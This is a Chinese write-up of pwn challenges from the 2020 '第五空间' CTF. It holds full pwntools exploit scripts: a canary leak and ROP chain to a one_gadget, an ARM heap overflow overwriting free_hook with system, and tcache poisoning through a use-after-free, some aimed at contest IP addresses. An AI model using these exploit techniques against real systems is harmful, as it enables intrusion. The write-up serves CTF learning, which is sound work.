2020第五空间线上赛WP

loop

循环解压即可获得flag,直接上脚本:

1
2
3
4
import os
while(1):
os.system("unzip -o zipfile")
os.system("tar -xvf tarfile")

twice

主要漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int64 __fastcall sub_4007A9(int a1)
{
unsigned int v2; // [rsp+14h] [rbp-6Ch]
int v3; // [rsp+18h] [rbp-68h]
int v4; // [rsp+1Ch] [rbp-64h]
char s[88]; // [rsp+20h] [rbp-60h]
unsigned __int64 v6; // [rsp+78h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(s, 0, 0x50uLL);
putchar('>');
v3 = sub_40076D(0x50);
if ( a1 )
{
if ( a1 != 1 )
return 0LL;
v2 = 0;
}
else
{
v2 = 1;
}
v4 = read(0, s, v3);
puts(s);
if ( !a1 )
s[v4 - 1] = 0;
return v2;
}

其中a1为count,sub_40076D函数根据count是否为1返回0x70或0x59。

并且read函数的第三个参数v3在汇编函数中取值是根据:

1
2
.text:0000000000400823                 mov     eax, [rbp-68h]
.text:0000000000400826 movsxd rdx, eax

思路

首先第一执行sub_4007A9时count为0,即实现read(0, s, 0x59)。故直接传入’a’*0x59即可leak出canary和stack,以便后续rop:

1
2
3
4
5
6
p.send("a"*0x59)
p.recvuntil("a"*0x58)
canary = u64(p.recv(8))-0x61
print hex(canary)
stack = u64(p.recv(6)+'\x00\x00')
print hex(stack)

接着控制rbp指针,再直接跳转回0x400823,从而控制可输入字符串的大小:

1
2
3
4
5
6
7
8
vuln = 0x400823
pay = p64(0x100)*2
pay += 'a'*0x48
pay += p64(canary)
pay += p64(stack)
pay += p64(vuln)
p.send(pay.ljust(0x70,'\x00'))
p.recv()

接着就可以输入任意长度的rop串从而执行leak出libc等目的(需要注意的是因为rsp的原因所以执行rop的地方在read函数中)。这里先leak出libc地址,并且返回到sub_4007A9函数中,此时count仍为1,从而可以比较方便的实现一次溢出,从而用onegadget来getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pay = 'a'*0x58
pay += p64(pop_rdi)
pay += p64(libc_start_main_got)
pay += p64(puts_plt)
pay += p64(0x4007A9)
p.send(pay.ljust(0x100,'\x00'))
p.recv(1)
libc.address = u64(p.recv(6)+'\x00\x00') - libc.sym['__libc_start_main']
print hex(libc.address)

pay = 'a'*0x58
pay += p64(canary)
pay += p64(stack)
pay += p64(libc.address+one[1])
p.send(pay)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
p = process("./pwn")
libc = ELF("./pwn").libc
#p = remote("121.36.59.116","9999")
vuln = 0x400823
pop_rdi = 0x0000000000400923
puts_plt = 0x4005C0
libc_start_main_got = 0x601040
pop_rbp = 0x4008B6
leave = 0x40087a

p.send("a"*0x59)
p.recvuntil("a"*0x58)
canary = u64(p.recv(8))-0x61
print hex(canary)
stack = u64(p.recv(6)+'\x00\x00')
print hex(stack)

read = 0x4007A9
one = [0x45216,0x4526a,0xf02a4,0xf1147]

#gdb.attach(p)
pay = p64(0x100)*2
pay += 'a'*0x48
pay += p64(canary)
pay += p64(stack)
pay += p64(vuln)
p.send(pay.ljust(0x70,'\x00'))
p.recv()

pay = 'a'*0x58
pay += p64(pop_rdi)
pay += p64(libc_start_main_got)
pay += p64(puts_plt)
pay += p64(read)
p.send(pay.ljust(0x100,'\x00'))
p.recv(1)
libc.address = u64(p.recv(6)+'\x00\x00') - libc.sym['__libc_start_main']
print hex(libc.address)

pay = 'a'*0x58
pay += p64(canary)
pay += p64(stack)
pay += p64(libc.address+one[1])
p.send(pay)
p.interactive()

pwnme

arm的pwn,比较简单,难的是环境的搭建以及关于堆漏洞的发现。

不知道是什么版本的libc,尝试了下发现存在fastbin和unsortbin类似的管理方式。

因为对edit没有限制大小,可以实现堆溢出,从而修改fd达到任意申请的目的(地址有一定的偏移,多试几遍就能发现)。

思路

首先通过溢出修改fd,从而达到重复申请同一堆块的目的,进而可以利用unsortbin来leak出libc地址。接着继续通过修改fd的方式控制堆指针,进而指向free_hook,把free_hook改为system,最终getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.arch = 'arm'
one = [0x4F438,0x2F9AC,0x35A80,0x50170,0x515AC]
#p = process(["qemu-arm", "-g", "2333", "-L", "./arm", "./a.out"])
#p = gdb.debug("./a.out",'b *0x1058C')
p = remote("121.36.58.215","1337")
context.log_level = 'debug'

main_got = 0x2100C
def add(size,data):
p.recvuntil(">>> ")
p.sendline("2")
p.recvuntil("Length:")
p.sendline(str(size))
p.recvuntil("Tag:")
p.sendline(data)
def edit(index,size,data):
p.recvuntil(">>> ")
p.sendline("3")
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Length:")
p.sendline(str(size))
p.recvuntil("Tag:")
p.sendline(data)
def free(index):
p.recvuntil(">>> ")
p.sendline("4")
p.recvuntil("Tag:")
p.sendline(str(index))
def show():
p.recvuntil(">>> ")
p.sendline("1")
add(0x8,'aaa')#0
add(0x8,'aaa')#1
add(0x100,'ccc')#2
add(0x11,'aaa')#3
free(1)
free(0)
add(0x8,'a')#0
edit(0,0x40,'a'*0x8+p32(0)+p32(0x119)+p32(0x22002))
add(0x8,'a')#1
add(0x8,'dddd')#4
free(0)
free(1)
show()
p.recvuntil("4 : ")
libc = u32(p.recv(4)) -0x9A8EC
print hex(libc)
add(0x8,'a')#0
edit(0,0x40,'a'*0x8+p32(0)+p32(0x11)+p32(0x22)+p32(0))
free(4)
edit(0,0x40,'a'*0x8+p32(0)+p32(0x11)+p32(0x2107c-2)+p32(0))
add(0x8,'/bin/sh\x00')#1
add(0x8,'\x00'*0x8)#4
edit(4,0x10,'\x00'*0x8+p32(0x20)+p32(0x21038))
edit(0,0x10,p32(libc+0x51800))
free(1)
#gdb.attach(p)
p.interactive()

of

比较ez的一道堆题,不过感觉跟环境有关系,本地测试的时候free后cookie值会被更改,而远程倒不会,所以直接去掉这方面的验证。

题目比较简单,存在UAF漏洞,并且可以show/edit等操作,ubuntu18.04的环境。

思路

首先填满tcache,从而leak出libc,接着利用tcache直接申请到free_hook,改为system就能getshell了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
#p = process("./of")
p = remote("121.36.74.70","9999")
one = [0x4f2c5,0x4f322,0x10a38c]
#context.terminal = ['tmux','splitw','-h']
libc = ELF("./of").libc
def add(index):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(index))
def edit(index,data):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Content: ")
p.sendline(data)
def show(index):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
def free(index):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(index))
for i in range(9):
add(i)
for i in range(8):
free(i)
show(7)
p.recvuntil("Content: ")
libc.address = u64(p.recv(6)+'\x00\x00') - 0x3EBCA0
print(hex(libc.address))
edit(6,p64(libc.sym['__free_hook']))
add(0)
print(hex(libc.sym['system']))
print(hex(libc.sym['__free_hook']))
add(1)
edit(1,p64(libc.sym['system']))
edit(8,'/bin/sh\x00')
#gdb.attach(p)
free(8)
p.interactive()